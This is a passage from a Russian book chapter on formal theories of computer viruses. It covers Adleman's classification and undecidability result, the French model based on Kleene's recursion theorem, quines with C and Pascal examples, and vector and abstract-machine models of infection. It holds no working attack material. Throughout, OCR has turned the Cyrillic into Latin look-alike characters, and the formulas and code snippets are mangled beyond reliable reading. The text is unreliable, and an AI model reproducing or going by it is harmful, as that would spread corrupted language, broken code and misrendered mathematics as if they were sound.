B 3T0M onpeaeJieHHH S  -  MHOXCeCTBO BCeB03M0JKHbIX KOHeHHblX no- 
cjieaoBaTejibHocTeii HaTypajibHux nviceji, p  -  nporpaMMHuii Koa, d  -  He 
noaBep»ceHHbie HHc})HixHpoBaHHio «aaHHbie». R jia oxsara onpeaeJie- 
HHeM nOJIHMOpcJlHKOB BMeCTO OTfleJTbHOII BHpVCHOH (|)yHKHHH V Hy>KH0 
pacCM3TpHBaTb MHOJKeCTBO M  BCeB03M0>KHbIX 'faCTHHHO peKVpCHBHblX 
cJjyHKUHH. rfocKo.XbKy onpeaejiem ie onuchiBaeT «TeKym ee» cocToaHHe 
nporpaMMbi Ha 0CH0BaHHH «npeabiaym ero», TeM caMbiM HeaBHO o6ocho- 
BHBaeTca cbohctbo «pa3MHo»caeMocTH» BHpycoB.

I lep B U H  CJiyyaii ripii.MeHenHa onpeaejieHHa cooTBercTByeT «n e p e -  
3anHcWBaioiUHM» BHpycaM. 3aMemaiouiHM co 6 oir >KepxBy h Bbinojm aio- 

m uM ca BMecTo Hee. A jy ieM an  Ha3Baji n o ao 6 HbiH cn oco 6  3 ap a *eH n a  «n o -  

Bpe>KaeHneM>>.
B to p o ii  cayH an , b cootbctctbhm  c noH anieM  «n o ;io 6 n a  aaropiiTMOB  

c TOHHOcTbK) a o  4>yHKUHH», pacnaaacTca Ha aee  CTpaTerHH noBeaem ia  

3 apa*eH H o n  nporpaM M bi -  «HMMxamtio»- h  «3apajKCHne». I lp H  «HMHTa- 

ijhh»- BHpyc «cn iiT >  h HHKaK He B-miaeT Ha peayjitxaxbi pa6 oxbi 3apa *eH -  
h o h  nporpaM M bi -  (Jjvhkuhh v  h jih  Boo6 me He npiiMeHaeTca k  3JieMeHxaM 

ajiropnTM a, h jih  Bbino.xnaeT ToayiecTBeHHoe npeo6pa30BaHHe. IIpH  « a -  

paaceHHH» BHpycHoe npeo6pa30BaHHe v  Bhinojm aeT (bo3mo>kho, hco/iho- 
KpaTHo) KaKoe-xo aencTBHe, paHee He CBOHCTBennoe nporpaMMe, ho caMa 

nporpaM M a Bce-TaicH BbinojiHaexca.

I lo fl onpeaejieHHe JI. AajieMaHa nonaaaioT BHpyc. m -«napa3H XH », 

npHKpenjiajomneea k apyrHM nporpaMMaM h 3anycKaiomHeca BMecre c 
hhmh. TaioKe, no aTOMy onpeaejienino, «BHpycaMii» HBJiaioxca, HanpH
Mep, «y n aK 0 Bim iKH» nporpaMMHbix 4>aii>ioB (T im a P K Lite ;yia M S -D O S  

hjih U P X  W in d o w s ),  «HaBec,fibie» chctcmw npnBa3Kii nporpaMM k 
KJIIOHeBbIM HOCHTejIHM (TH na H A S P  aJIH OJie.KTpOHHMX KJIKWH»  HJIH 

S tarF o rce  ^Jia CD -ahckob) ii apyrne , He MeHee nojieaitbie nporpaMMbi. 
Jljoooii «H 0 Bbiii» apaiiBep, b tom HHCJie h  anTHBH pvchuit. T05Ke aBJiaeica  

BiipycoM no  oTHom ennio k onepaiiiio iinon  ciicTeMe.
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JIjm Hero 3Ke AjiJieMany noHaao6HJiocb s t o  onpeaejieHHe? 

ripeacfle Bcero, no/ibayjicb hm, AflJieMaH cocTaBHJi KjiaccH<})HKauHK> 
nporpaMM, sapasKeHHbix KOMnbKyrepHbiMH BHpycaMH-«napa3HTaMHK 

b KOTopyio nonajin KaK cymecTBOBaBiUHe Ha to t  momcht, TaK h «rnno - 
TeTHHeCKHe» pa3H0BII4H0CTH. B o t  3Ta K/iaCCH^HKaHHH (c  TOHKH 3peHHH 

crpaTeriiH noBefleHHH 3apa*eHHOH nporpaMMH).

BpeflOHOCHwe

3apa3nwe

Pmc. 7 .5  ❖ K/iaccm^nKauHfl BHpycoB 
no JI. AaneMaHy

H o caM oe rjiaB iroe, pazm  H ero A/yieM an  cohhhh;i CBoe on pe fle ;ieH H e, -  

3T0 H3yMeHHe B03MO3KH0CTH p a 3JIIWeHHH «3apa>KeHHL>IX» H «3flOpOBbIX» 
nporpaM M . B m b oa  aBTopa ct3t i>h , no/iKpen.ieHHbiH cTporH M  M aT eM an w e- 

ckhm  /tOKa3aTejit>CTBOM, 0AH03HaHeH: 3azia'ra ;teTekthpobahhh BHpycHoro 

aJiropHTMa n o  c n o c o 6H o c n i 3a p a »a T b  MCKJiioHiirejibHO cyioacHa. B o jie e

KOHKpeTHO:

M H oxecTB O  1/ =  {f | <j)(. -  is a virus}  06/iaaaeT  cbom ctbom  Fl2-no/iHOTbi.

J le n o  B TOM, HTO aJiropHTMH MOJKHO KJiaCCIIcflHLlHpOBaTb n o  HX BH- 

HHc.iHTejibHOH cjio jkhocth . CnHTaeTCH, h to  0 flH0 My h  to  My ace KJiaccy 

npHHa/uie^Kar ajiropH TM bi, Bb iuojiH seM bie np n  n o M o m a  «M aiuHHbi Tbio- 

p H H ra » c H cn0Jib30BaHHeM npHMepHO 0 flHHaK0B0r 0 KO/tHHecTBa p ec yp -  

cob (rnaroB  M aiiM H U  h jih  an eeK  Ha j ie jr re  aaH H bix ). K-iaccbi cjio »chocth  

0 6p a 3y i0 T p a3BeTBjieHHyio H ep a p xm o  (cm . pnc. 7.6).

HaHDojiee «B 0cxpe60BaHM>, H3yneHbi h pea;ni30BaHbi b paaannnbix  

npiu(o>KeHHHX (HanpHMep, b KpnmorpacJwHecKHx) aJiropHTM H k ts c c o b  

PuNP.
K iia c c y  P  npHHaaJieacaT p em a iom H e ajiropHTM bi, KOTOpbie Bbino/im i- 

K3TC5! 3a BpeMH, 3aBHcsuuee n o jn u ioM H a jib iio  o t  p a3M epa iic xo zu ib ix  aaH 

Hbix (AnH H bi Bxo/iHoro ap ryw eH T a  Ha jieH Te «MauiHHbi TbK >pH H ra»).

K/tace NP xapaK TeproyeTCH  pen iaio im iM H  ajiropH TM aM ii, KOTOpbie 

npeflycMatpHBajOT h o .t o m h  nepefjop b c c b o sm o /k h m x  BapaanTOB OTBera

n - M TpOflHCKMe KOHM

n 3 ■ BupyneHiw

- 3 - flepeHOCHUKH

- - H 5e38peflHbie
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Pmc. 7 .6  ❖  Mepapxnq KJiaccoB
Bbl4M C /lM Te/lbH O fi CJIOXCHOCTM

h Bbi6op  npaBH^bHoro npn noM om a ajiropHTMa KJiacca P . Oco6yio pojib 

HrpaioT 3KCTpeMaJibH0-c.'i0acnbie ajiropim ibi noziKiiacca N P C  (h x  eme Ha- 
3biBaioT 4NP-rioJiHbtMu>). BpeMH, Tpe6yeMoe njisi BwnojiHeHHH N P -n o n -  
h u x  ajiropHTMOB, pacreT He noJiHHOMHajibHo, a no  aKcnoHeHTe.

A h t o  ace KJiacc H2? B 3 rjiaH yB  Ha H3o6paaceHHe nepapxHH, jienco y6e- 
flHTbCH, HTO B HerO BXOAHT ajITOpHTMM, C BblHHCJIHTeJIbHOH TOHKH 3peHHfl 
ropa3ao 6oJiee cjioacHue, ne\i flaace N P . A  TOHHee, s t o  ajiropH TM bi noHCKa 

b  c h c th o m , h o  6ecKOHeHHOM MHoacecTBe [2 8 ], Kopone roBopn, no JI. A ji-  
JieMaHy, He cymecTByeT ajiropHTMa, KOTopbm 3a Konennoe BpeMa pa6o- 
tm  aaji 6bi 0flH03HaHHbiH o tb c t :  HBJiaeTca paccMaTpHBae.viaa nporpaMMa 

(TOHHee, ee aJiropiiTM) BHpycoM hjih HeT.

7 . 1 . 3 .  « 0 p a H u y 3 C K a n »  M o a e -r ib

Mo/iejib  (|>paHiiy3CKHx aBTopoB X . Bomfiana (G. Bonfante), M. KanMa- 
peK a (V. Kaczmarek) h >K-M. MapHOHa (J-Y Marion), pacc.MOTpennaa 
b craTbax « A 6 cT p a K T n o e  AeTeicrapoB aH H e KOMnbioTepHhix B H pycoB * [41 ] 
h  <<K;iaccH<4wKaun5i BHpycoB n p n  h om oihh  TeopeM bi o  p e K y p c n n »  [4 2 ], 

n o cT p o e n a  c H cn0Jib30BaH »eM  npH M epH o TaKoro ace M aTeM an iH ecK oro
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annapaTa, h to  h M oaejib  JI. Azyie.viaHa. B  ee  ochobc jiokht H3BecTnan b 
Teopm f a.nropiiTMOB «T eop eM a  Kjihhh»: ju ix  jik>6oh HacTHHHo peicypcHB- 

h o h  (JjyHKmiH g  oflHoro apryM eH Ta B ceraa  nafmeTca TaKoe HaTypaJibHoe 

n (•sHenoABHJKHaa TOHKa»), hto n = g (n ) .  IlaMflTyfl, hto n MoaceT HrpaTb 
p o jib  «H V M ep a jia » KaKOti-HHCyAb hhoh c^YHkuhh hjih ajiropH TM a, mojkho 
o 6 o 6 m iiT b  3 Ty  cJxjpM yjrapoBKy flo  Biifla: cp/x) =* g (e ,  x ) ,  r a e  x  -  n pon 3 - 

BOJibHbiii apryM eH T cjjymoiHH hjih Ha6op AaHHbix ajih n porpaM M U , e  -  He- 

k h h  aJiropHTM, a <pe =  (p (e) -  nporpaMMa, noJiynenHaH b pe3yjibTaTe 3ann- 
c ii ee  a jiropH TM a Ha H3biKe j .

OflHHM H3 OHeBHAHhlX CJieflCTBHH 3TOH TeopeMbl HBJWeTCH cymeCTBO- 
BaHHe nporpaMM, cnoco6Hbix pa3MHO>KaTbCH, «nenaTaH » cboh  co&ctbch- 

HMH TeKCT, -  TaK Ha3bIBaeMbIX «KyHHOB» HJIH «KyaHHOB» (n o  HMeHH 

aMepHKaHCKoro MaTeMaTHKa v a n  Q u in e ). H anHcaTb «B H p y c » noAo6noro  

poAa nacTO ripe^JiaraioT npojiBHHVTHM uiKOJibHHKaM Ha ojiHMnna/iax no  

nporpaMMHpoBaHino. OcHOBHan im e n  pe iuem M  Ha ecTecTBeHHOM H3biKe 

onHcbiBaeTOf cjie/iyioiUHM 00pa30M:

Hane'-iaTaTb fiBaxau, eropoii pas b kqquhkqk, cneflyeana ts k c t :

■'HaneMaraTb aea*AW, sropcm paa b KaBu«Kax, cnefly«mnti T en c r ."

B ot, HanpHMep, KaK MoaceT BbirjiHAeTb peajiMsauRa s to h  lin en  Ha H3bi- 

Ke C h  ( c vm cto m  Toro, hto  34 -  sto  A S C I I - k o a  a b o h h o h  KaBbiHKH):

f » i n ( )  {  char *s= "® a i.n () {  char *s=%c%s%c; p r i n t f ( s , 3 4 ,s , 34 ); } " ;  

p r i n t f ( s , 3 4 ,s , 3 4 ); }

A  b o t BapnaHT Ha IlacKajie:

const a = " ‘ ;b eg in  w r i t e (b e ,b ,a :1 ,a ,a :4 ,b ,b e ,a :3 ,b ,b .a : i ,a )e n d . ' ;b e = 'co n s t a ‘ ; b = ' = " ' ;  
beg in  w n t e (b e ,  b. a: 1 ,a , a : 4, b, be, a: 3, b. b, a: 1 ,a )en d .

«KyHHH» B03M05KHH npaKTHHecKH Ha juoooM H3biKe nporpaMMHpo- 
BaHHH. Kypbe3 : «k vh h» Ha H3WKe acceM6 jiepa, HanncaHHbiH A. O tch k o , 
Aaace nonaji b BHpycHbie 6 a3bi n o a  HMeHeM V irto o L A p ia ry  h  Tenepb 6 e3- 
/Ka.T0CTH0 yHHHToacaeTca aHTHBiipycaMH.

A rp y n n a  4 >paHuy3 CKHX MaTeMaraKOB nouu ia Aajibiue «KyHHOB», npo- 
aeMOHCTpnpoBaB, h to  «Teopew a K jih h h » MoaceT cJiy>KHTb TeopeTHHecKHM 

6a3HC0M ajih  noJiHoneHHoro onpeAejiemiJi Bcero KJiacca BHpyciibix n p o 

r p a M M .

riyCTb j  -  HeKHH H3bIK nporpaMMHpOBaHHH, X   npOH3BOJIbHbIH Ha6 op
AaHHbix, p  -  HCKan «3/iopoBaH» nporpaMMa, v  -  BHpyc, B  -  (Jwhkuhh hh - 

(JwUHpoBanHJi, B ( v , p )  -  peayjibTaT 3apa>KeHHH nporpaM M bip  BHpycoM v. 

T b raa  Bee ohh  naxoAHTca b othoihchhh:

<V„(P,x )  =  <9b(v.P) ( x )-
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O n n p a a c b  Ha «Teope.My K jih h h » , Jienco noKa3aTb, h to  jsah  jik>6oh n p o - 

rpaM M H p  Bceraa HaftaeTca c^yhkijhh B, n p e o 6 p a 3y io m a a  ee b 4>op.My, 
«HHc|)HiiHpoBaHHyio» flpyroft nporpaM M oft v: cp£p, x )  = (pg(o, p, x )  = cpB(fi 

PJ(x). K p o M e  Toro, aB T o p ti CTaTbH npojieM OHCTpHpoBajiH . h to  o n p e a e jie -  

HHe JI. AflJieMaHa »BJiaeTca mhcthejm cjiynaeM  onpefle jiem ia, onnpaiom e- 

ro c a  Ha «Teope\iy  K ju ih h *. IlpH M epoM  BpeaoHocHbix nporpaMM, k o to -  

pbie He oxBaTbiBaiOTca onpeaejieHH eM  JI. A/yieMaHa, ho  yaoBJieTBopaioT 

«4ipafm y3CKOM y» onpejieJieiiHio, hb jijho tch  HeK0 T0 p u e  pa3HOBHjiHOCTH 

BiipycoB-^cnyTHHKOB^, He BH eapaioiuH eca b  «acepTBy», ho MeHarom neca  

c Heft MecTaMH h jih  H.weHa.MH (HanpH M ep, HLLC.Aids.8064, paccMOTpeH- 

Hbin  b rJiaBe, nocBam eHHofi D O S -B H p y c a M ).

I'jiaBHblM ace flOCTOHHCTBOM «(J )paH ny3CKOH» MOflCJIH aBJiaeTCa B03- 

MOJKHOCTb 6 oJiee TOHHOH OUCHKH CJI05KH0CTH paCn03HaromHX ajirOpHTMOB.

C OHHOH CTOpOHM, aBTOpbl M OjejIH  npHIUJIH K TaKOMV XC BblBO/lV, MTO 

H JI. Aa-TeMaH: MHO>KeCTBO BCeB03M0>KHbIX BHpyCHbIX ajirOpHTMOB n 2 -  
noJiHo, a jik )6oh  yHHBepca.ibHbiH ajiropHTM OTJiH'ieHHa «B H p y ca » o t  «H e- 

BHpyca>> HeBblHHCJIHM.

C ap y ro H  cTopoH bi, o h h  ooocHOBa-JiH c jie a y io m ee  yTBepac/jeHHe: cym e- 

CTByeT noflM HoacecTBo 4 ).yHKijHH HHcfiimnpoBanHH, KOTopoe pa3peiiiH M 0 , h, 

cooTBeTCTBeHHo, 3a jia4a o rip e jie jieH H a  n p iiH a flJ iO K H ocn i oopa3na k  s to m v  

MHO^eCTBy BblHHCJIHM3 . K COacajieHHIO, yCJIOBHH, n p n  KOTOpbIX 3T0 B03- 

MoacHo, aoBOJibHo HCKyccTBeHHbi: HanpHM ep, orpaHimeHHOCTb MHoacecTBa 

BHpycHbix ajirOpHTMOB. TeM  He M eH ee b paM Kax « 4)paH ny3CKOH» M oaejin  

BnepBbie n poaeM on cT p iip oB aH o , h to  BWBOflbi JI. AajieM aH a o  HeB03M0>K- 

HOCTH fleTeKTHpOBaTb BHpycbi n o  CBOHCTBy «3apa3H0CTH» He a6 cOJIIOTHbI.

K p oM e  T o ro , « (J )p a im y 3 C K aa » M ojieJib  n 03B0JiaeT TeopeTH necKH  0 6 0 - 

CHOBaTb KOppeKTHOCTb peaJIbHO npHMeHaeMMX MCTOAOB aHTHBHpyCHOH 

6 o p b 6 bi. H a n p iiM ep , b  cTaTbax  /ioKa3 aHo, h t o  ecJiH K aK aa-H H oy^b  4>yHK- 

UHa p a3M H O *eH iia  B 3 apaH ee H3BecTHa, t o  .ra/ia'ia aeTeK TH poBaH iia  3a- 

paaceHHOH n porpaM M bi b xy/iuie.M c j iy n a e  «B c e ro  jm u ib »  A 'P -n o jiH a . /leii- 

CTBIITeJIbHO, KO.'IHHeCTBO pa.'iJIH'IHbIX MO/IH(j3HKaL(HH nOJIHMOpcJ)HOro 

BHpyca Be.iHKO, h o  k o h c h h o . 3 aa an a  flere icn ipoB aH H H  KOHKpeTHoro BH

pyca  CBOAHTCa k  cpaBHeHHio TecTHpyeM oro 3K3eM n jiap a  co BceB03M0>K- 

HblMH MyTaiXHHMH.

TaKOBa ace cjioacHocTb aajjann /ieTCKTHpoBaiiHa « bnpyc0n o ;io6h h x »  

(J)yHKmiii, t o  ecTb Tex, KOTOpbie ooJiajiaioT TOJibKO HacTbio cboh ctb  cjjyHK- 

m n i pa3M11 o>keh 11a . Bripo'ieM , n 0Ka3aH0, h to  noziMHoacecTBy nojirujitbix 

(JjyHKHHii (aBTopw  HasBajiii e ro  TepMHHOM « g e r m » )  npHHa/uieacar. b hhc- 

Jie npoHHX, 11 B iioju ie jiera jib iib ie ajiropHTMhi, a KpoMe Toro, nacTb BHpy- 

COB «>KHBCT» BHC 3T0I’0 MHOaCeCTBa.
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7.1.4. npo4ne (J>opMa^bHbie MOAe/in
PaayMeeTCJt, nepeneH b  TeopeniHecKHX MO/iejieH KOMnbioTepHHX Biipy- 
co b  He HC'repnMBaeTca pa3 p a 6 oTKaMH O .  KoaHa, JI. AaJieMaHa h  rp y n n w  

4>panny3CKHX aBTopoB. M H o ra e  iicc.ne/iOBaTejw « c o lm Ha.nii» cboh  co6 - 

CTBeHHbie cJjopMa^bHue MOflejiH, b  paMKax KOTOpux yaofjHO 6 h j io  pexnaTb 

Ty h .ih  HHyio KOHKpeTHyro 3 aaaHy. B o t  HeKOTOpbie H3 hhx.

7.1.4.1. Modejib KumaucKux aemopoe Z. Zuo u M . Zhou
3 T a Mo^eJib Taicace Hcno;ib3yeT HOTanHio, npH iw xyio  b  Teopim  pe- 

KypcHBHMx cJ)yHKmift, h  aBJiaeTCH pacumpeHHeM Moae.ra JI. AzuieMaira. 

F.iaBHaa uejib, KOTopyio nepe/i c o6o h  nocraBHJiH aBTopu. -  B03M0>KH0CTb 

HeTKOH KJiaCCH(J)HKaiIHH p33JIH4HblX THnOB KOMIXblOTepHbIX BHpyCOB [77]. 
B h x  MoaeJiH nporpaM M H  pacc.MaTpuBaiOTCfl KaK Beicropbi H3 MHoacecTBa 

ajieMeHTOB: p  =  ( i v  i 2, ..., in) ,  npnye.M a m  o6o3iiaHeHHH nporpaM M  c bh zio -
H3MeHCHHbIMH 3JieMeHTa.MH HCIIOJIb3yeTCH HOTaUHH p\j,Jik\ = ( i v i2, : : j k, 

in), a /uiH yKa3aHiw (JjyHKUHH, KOTOpaa npon3Bejia 3Ty MoziH(j3HKamno, 

Hcno;ib3yeTca o6o3HaneHHe p [u (ik) ]  =  pl^ (ik)/h] =  (h> h, •••> v(h ) ’ •••> *„)• 
TaKOH no flxoa  n03B0J!H/I aBTOpaM KOHKpCTH3HpOBaTb, K3K0H HMCHHO 

ajieMeHT MOflHc^HUHpyeTca BiipycoM  b  nporpaM M e m h  0nepau,H0HH0fl 

ciicTeMe b  pesy.’ibTaxe 3apaaceHHa, h, cooTBeTCTBeHHO, BbiaejiHTb pa3- 

.'iHHHHe THnbi BHpycoB. H anpHM ep, b paMKax s to h  Mo^ejiH om jih onpe- 

aejieiibi:
O  Hepe3H/ieHTHbIH BH pyc V, KOTOpblH BHeflpHeT CBOH KOA BHVTpb n p o - 

rpaM M H  p )  =  § t( d ,  h  3acTaBJiaeT e e  BbinojiHHTb

«4y>Kyio» 4>yHKiiHio 5;
O  pe3 HaeHTHbift BHpyc, KOTOpblH 3acTaBJiaeT nporpaM M y «B H en jia - 

hobo>> o 6 pam aTbca K onepam ioHHoii CHCTeMe ( )u(i){d , p )  =  $ . ( d ,  

p [ v ( s y s ) \ ) ,  a onepaiiHOHHVKD ciiCTeMy -  BMecTe c o 6 p a 6 oTKoft 3 to -  

ro  oSpameHHH BbinOJIHHTb «nOCTOpOHHHH> K0 /| 

p [ v ( S ( p ) ) ] ) ;

O  nojiHMopcJ)HbiH BHpyc, KOTOpblH no m-oH npo/iyuHpyeT (m  +  1 )-yro  

MOflH(f>HKamiK> P )  =  <t>M  p [ v ( m  +  !- £ ( p ) ) ] ) 11T- n.

7.1.42. BeKtnopHUH Modejib JI. 3ezwcdu
3 t s  Mo.’ieJii) 6buia pa3paooTaH a npe iiM ym ecTB eu H o /mh o iiH ca n n a  3 a- 

p a^eH H H  BH pycaM ii-napa3HTaM H nporpaM M  OnepanHOHHOH cncTeM bi 

M S - D O S  [9 ].  H o  OHa yacTHHHO aKTyajibHa h jijva a p y ru x  ra n o B  u p o- 

rpaMM. B aaHHOH MO/jejm KaK «n o p M a jib H a a » nporpaM M a, TaK h  BHpyc 

n peacTaB .ien b i b bm/ic BeKTopoB. H p o iie c c  aapaaKenna BHpycoM V  n po-
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rpaM M U P  ripoHcxoziHT b  pe3yjibTaTe nocjieaoBaTejibHoro BbinojiHeHHH 

Tpex (JiyHKiiHH1:

P ' = I (D(P) ,  A(V) ) ,

rae  D -  «B03M ym em ie»-, to  ecTb noaroTOBKa nporpaMMbi k 3apa»eH H io , 

HanpHMep KoppeKHHH b  3ar0Ji0BKe E X E -n porpaM M bi aapeca toh k h  Bxoaa  

h jih  nepeiiHCbiBauHe Hanajia C O M -n p o rp a M M U  b  ee KOHen; A  -  co3/ia- 
HHe KonHH BHpyca, noaroTOB-aetiHOH n,nsi BHeapeHHa b  KOHKpeTHyro npo- 

rpaMMy, HanpHMep coaepacam eii b  «3arauiHHKe» cTapoe 3Ha>ieHne aapeca  

toh k h  B xoaa H3 3arojioBKa EXE-nporpaMM; / -  HH(f)HnHpoBaHHe, biihcm - 

BaHHe BHpycHofi KonHH BHyTpb nporpaMMbi. Taicace aBTop npeanojio »:H ji, 

h to  «T e jio »  B iipyca ecTb A (  V ) =  <2(V) +  5 (V ), rae  Q  -  HacrpaitBaeMaH 

Hacn> BHpyca, S -  nocTOHHHaH nacTb BHpyca, « + »  -  o6o6m eHHaa onepa- 

UHa «BCTpaiiBauHH» o a h o to  BeKTopa b  apyroft. itoBo;ibHo npocTaa h He 

yHHTbiBaromaa M H orax  HroaHCOB Moae.Tb /X- 3er>KaM TeM He MeHee no - 
3Bo/weT o6ocHOBaTb:

Q  noncK  3apaaceHHbix nporpaM M  no nocToanHofi nacTH BHpycHoro  

BeKTopa (c n ra a T y p e );
O « jieH en n e » 3apa^cenHbix nporpaM M  npn n oM om n  npHMeHCHHH 

b 0 6 p a iH 0M n o p a a K e  (JjyHKiniH, o6paTH bix k A , D u  I.

7.1.4.3. Modejiu na ocnoee aScmpaxmmix 
■«ebiHUCJiumejieu»
XapaKTcpHaa a -ih  3Toro KJiacca cf)0 pMaJiH3M0 B Moaejib A . AopcjpMaHa 

(r. CaMapa) [7] HBJiaeTca paciim peHHeM Moae/m (D. Koana. O ch obh u m h  

ee 0 C0 6 eHH0 CTHMH hbjih iotch :
O cpamHBaHHe «;ieHTbi aaH H bix » h  «n a 6 opa HHCTpyKUHH* b  eaHHyio 

«naM H Tb», h to  rt03B0JiHJi0 npeBpaTHTb «M auiHHy TbiopnHra>> b He- 

Kliii a6 cTpaKTHUH <BbIHHCJIHTeJIb», nOCTpoeHHUH B COOTBeTCTBHH 

c apxiiTeKTypoH cJ>oh HeiiMaHa;

O  pa3aejieHHe BbiHHCJiiiTeJibHoro npocTpaH CTBa, npeaocTaBJieHHo- 
r o  b p acn op aaceH H e nporpaM M bi, Ha H cno/m aeM biH  k o a  h  H3Me- 

H aeM bie  a a m ib ie ,  h  B B eae fm e  H H aeKcoB-yKa3aTe.'ieH  a jih  h h x  -  IP 
h  A ;

O  onpeaejieHH e cocToaHHfl S(t, i,j)  «BbiHHCJiHTe.i«^ KaK MHOjKecTBa 

3H3HeHHH, 3a(J)HKCHpOBaHHbIX JUlfl MOMeHTa BpCMt'HH t B oSjiaCTH 

naMHTH, HaHHHaiomeHCii c no3nm in i h  HMeiomefi jximnyj.

1 B opHrmiajiLiioii paooTe JI. 3eracau bmccto (j>VHKUMOHa;»,HMx npec>6pa30Ba- 
iimi Ko;ia ncnojrtayiOTca onepaTopHbie.



Crporoe onpeAeAeHue enpyta ❖ 477

3tH X  HOBOBBefleHHH 0Ka3aJI0Cb aOCTaTOHHO, MTOObl OmiCaTb nOHHTHH 

«npH K jiaanaa nporpaM M a*, «onepannoH H aa CHCTeMa*, «4>aHJi» h  t. n. 
KpoM e Toro, b  TepMiiHax aaHHofi MoaeJiH 0 Ka3aji0 Cb bo3mojkhum onpe- 
aejrciTb h BHpycHoe m h ok cctbo  V. Flo A. /{op4>MaHy, BHpycaMH aBJiaioxca 

nporpaMMbi v, v ' e  V, fljia kotopm x npn  BbmoJineHHH ycjroBHit:

1 ) S (t , i, |r| =  v  -  b  MOMeHT t  BHpyc v  p a cn o jia ra ex ca  b n o 3 H m m  i  h

2 ) P ( t )  e  { j , +  |t>| -  1} -  BHpyc «p a 6 oxaex», -
cymecTBytoT Tanaa o6jiacxb n aM aT H /  aJiHHoft |?/|, aeacam aa BHe TeJia BH

pyca v  (to  ecTb jihoo j '  > j  +  |y|. J iu 6 o j ' +  \v'\ < ; ) ,  h xaKoft momcht BpeMeHH 

t ' >  t, mto A ( t ' )  e { j ’, ...,j + \v'\ -  1}. Mhumh cjiob3mh, BHpyc -  s to  Tanaa  

nporpaMMa, KOTopaa, MoancjJHUHpya Kaicyio-To HHyio o6aacTb naMaTH, 

4>opMHpyeT b Heii ap yry io  nporpaMMy, Taicace aBJiaiomyioca BHpycoM.
H exp y an o  Bnaexb, mto xoTa 3 to  onpeaejieHHe bo  mhotom coBnaaaeT c 

TeM, KOTopoe aa ji O .  Kosh , oflHaKO n03B0.MeT an4>4>epeHnHpoBaTb BH

pycbi no  hx  noBeaeHHio -  cnoeo 6 HOCTH Moan<|)HmipoBaTb Ty h jih  HHyio 

ooJiacTb naMaTH, t o t  h jih  h h oh  oobeKT (npH icxaanyfo nporpaMMy, one- 

pam ioHHyio CHCTeMy h jih  (Jjaiiji) TeM h jih  hhhm  06pa30M. KpoM e Toro, 

onHcaHHbiii b  paMKax s to h  MoaejiH  «BbiHHCjmTejib» h  ero  KOMnoHeHTbi 

(npHKJiaAHbie nporpaM M u, onepannoH fiaa CHCTeMa, (Jjaiwu, Biipycu) mo- 

ryT 6 uTb Jiereo cM oaeanpoBaHbi Ha 3 B M ,  mto ri03B0.raex Hcc.xe/iOBaTb 

noBeaeHHe nporpaMM, npHHHMaTb pem eHHa 0 6  hx  npHHaaJieacHocra h jih  

HenpiiHaa-’ieacHocxii k  KJiaccy BiipycoB n t . n.
HMeioTca h ap y rn e  a6cTpaKUHH, o6jiaaaiomne noao6HbiMH cboh- 

CTBaMH, HanpHMep Moaejib O e p e m ia  JleiiTOJihaa Ha ochobc «R A S P M  

w ith  A B S »  (R a n d o m  Access S tored  P rog ram  M ach in e  w ith  A ttach ed  

B ack grou n d  S torage -  PIporpaMMKpyeMaa MauiHHa c np0H3B0JibHUM 

aocTynoM  k n a M ara  h aonojiHMxejibiibiM xpaHHJinmeM). 3Ta Moaeab no -  

3BOJiaeT He TOJibKO Moae.inpoBaTb noBeaeHHe BHpycoB b BbiHHCJiHTejib- 
hoh cpeae, ho h no.xyMaTb TeopeTHMecKHe pe3yjibTaTbi [4 7 ]. B  m3cthocth, 
b paMKax Moae-iH O .  Jleirrojibaa aoKa3aHO. mto c.n0>KH0CTb 3aaaMH o&Ha- 
pyaceHHa nporpaMM, 3apaaceHHUx 3apaHee H3BecTHbiMH h eriojiHMopcJjHbi- 
mh BHpycaMH, He npeBbiuiaeT L  x  M  x  N  onepam iii, ra e  L  -  MaKCHMaJibHaa 

zyniHa aHajiH3iipyeM0H nporpaMMbi, M  -  kojihhoctbo H3BecTHux BHpy- 

cob, N  -  MaKCHMaJibHaa aJiHna cHrHaTypu. /I jih noJHiMopcjwibix ace BHpy
coB b ciuie ocTaeTca BbiBoa 4)paHuy3CKiix aBTopoB -  caoacHocxb 3aaaMH 

pacno3HaB3HHa SKcnoiiennHaJibHa.
TaKHM oopasoM, Bee paccMOTpeHHue xeopexiiMecKiie MoaejiH aarox aH- 

XHBHpycaM uiaHc Ha cxonpoueirmoe pacno3HaBaHHe xoJibKO aJia 3apaHee 
H3BeCTHbIX pa3H0BHaH0CXeil «3apa3bi», aa H TO, B CJI VMae nOJIHMOpcJjHUX 
BHpycoB, oho 6yaeT coiipaaceno c lieMajiuMH BUMHCJinxejibHUMH 3aTpa-
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TaMH. H o  Beflb MejioBeK cnpaBJiaercsi c 3aAaneH pacno3naBaHHH b jik)6om  

c.nynae, rajKe b  tom , Jinx KOToporo CTporo Aoica3aHa «Hepa3pem iiMOCTb». 
B  neM ace aejio, HeyaceAH a6cTpascrHue m oacjih neKoppeKTHbi?

Pa3VMeeTCH, c MaTeMaTHHecKoft to h k h  3pemiH o h h  6e3ynpeHHbi. 
llpocTO  HeAOBenecKoe MbinuieHHe He ajiropHTMH3yeTca, M03r He MoaceT 

6urrb npeACTaBJieH b  Bii/te «M am iiHbi TbiopH H ra», a aJiropiiTM ero  pa6o- 

■ra He onHCbiBaeTCH «peKypcHBHHMH <f>yHKUHHMH». B o t  TaKan «MeAOHb» 
h  AaeT 'le.TOBCKy pem aiom ee npeHMymecTBo, no cpaBHeHHio c a k >6h m h  

aHTHBHpy CaMH.

7.2. «9K30TviHecKMe» Bupycbi
E u o jio i 3aMoma.% uae.neK nJiacmMaccoeyio nopo- 
6 o w y  u nodnec ee k yxy.
-  Tydsim, -  coo6tu,tui oh. -  ymiKajibHeutuue cy - 
uificmea. Pedvautuue... Peduauiuue.

A. h B. CrpyraitKne. 
« lIpe.3Bbi'iaHHoe npoHcmecTBiie*

MTaK, Hcc^enoBaHHJi, npoBefleHHbie O .  Kosh o m , iiosbojihkit c/iejiaTb Bbi- 
BOfl, hto K0Miibi0TepHbie Bupycbi ( caMopa3MHO>KaiomHecH nporpaMMbi) 
B03M0JKHH B JIIOOOH BblHHOlHTeJIbHOH CHCTCMe. C ApyTOH CTOpOHM, B pa- 
6oTax (f>paHiiy3CKHx aBTopoB >K. EoH^aHa. M . KaHMapeica h  M a -

pnoHa noKa3aHo, hto KOMnbiOTepHMe Bupycbi motvt 6biTb cosziaHbi c hc- 
n0Jib30BaHHeM npaKTHHecKH Jiioooro a.TropiiTMHHecKoro H3biKa. TeM He 

